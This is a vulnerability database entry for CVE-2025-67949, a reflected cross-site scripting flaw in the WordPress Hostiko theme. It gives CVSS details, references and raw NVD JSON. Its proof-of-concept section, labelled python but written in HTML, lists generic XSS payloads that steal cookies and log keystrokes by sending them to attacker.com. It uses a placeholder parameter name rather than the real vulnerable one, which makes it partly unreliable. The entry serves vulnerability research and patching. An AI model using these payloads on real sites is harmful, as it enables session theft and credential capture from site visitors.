CVE-2025-67949

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in designingmedia Hostiko hostiko allows Reflected XSS.This issue affects Hostiko: from n/a through < 94.3.6.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Hostiko主题 < 94.3.6

designingmedia Hostiko hostiko (WordPress) 所有低于94.3.6的版本

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-67949 PoC - Hostiko Theme Reflected XSS -->
<!-- Target: WordPress Hostiko Theme < 94.3.6 -->
<!-- Attack Type: Reflected Cross-Site Scripting -->

<!DOCTYPE html>
<html>
<head>
    <title>CVE-2025-67949 PoC</title>
</head>
<body>
    <h1>CVE-2025-67949 - Hostiko Theme XSS PoC</h1>
    
    <h2>Malicious URL:</h2>
    <p id="malicious-url"></p>
    
    <h2>Attack Scenario:</h2>
    <ol>
        <li>Attacker crafts a URL with malicious JavaScript payload in vulnerable parameter</li>
        <li>Attacker tricks victim into clicking the malicious link via social engineering</li>
        <li>Victim's browser executes the injected JavaScript in the context of the vulnerable site</li>
        <li>Attacker can steal session cookies, perform actions as the victim, or redirect to phishing site</li>
    </ol>
    
    <h2>Sample Payloads:</h2>
    <pre>
# Basic XSS payload
?vulnerable_param=<script>alert('XSS')</script>

# Cookie stealing payload
?vulnerable_param=<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>

# Keylogger payload
?vulnerable_param=<script>document.addEventListener('keypress',function(e){fetch('https://attacker.com/log?k='+e.key)})</script>

# Session hijacking payload
?vulnerable_param=<img src=x onerror="this.src='https://attacker.com/steal?c='+document.cookie">
    </pre>
    
    <h2>Detection Method:</h2>
    <pre>
# Check if parameters are reflected without encoding
# Look for < and > characters in response without HTML encoding
# Test with: ?param=<script>alert(1)</script>
# If alert executes, vulnerability is confirmed
    </pre>
    
    <script>
        // Generate malicious URL based on target
        var targetBase = "http://target-site.com";
        var payload = "<script>alert(document.cookie)</script>";
        var maliciousUrl = targetBase + "/?search=" + encodeURIComponent(payload);
        document.getElementById("malicious-url").innerHTML = maliciousUrl;
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-67949
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-67949
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-67949/
[4] VulDB https://vuldb.com/cve/CVE-2025-67949
[5] https://patchstack.com/database/Wordpress/Theme/hostiko/vulnerability/wordpress-hostiko-theme-94-3-6-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-67949", "sourceIdentifier": "[email protected]", "published": "2026-01-22T17:16:04.533", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in designingmedia Hostiko hostiko allows Reflected XSS.This issue affects Hostiko: from n/a through < 94.3.6."}, {"lang": "es", "value": "Neutralización Incorrecta de la Entrada Durante la Generación de Páginas Web ('cross-site scripting') vulnerabilidad en designingmedia Hostiko hostiko permite XSS Reflejado. Este problema afecta a Hostiko: desde n/d hasta < 94.3.6."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/hostiko/vulnerability/wordpress-hostiko-theme-94-3-6-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}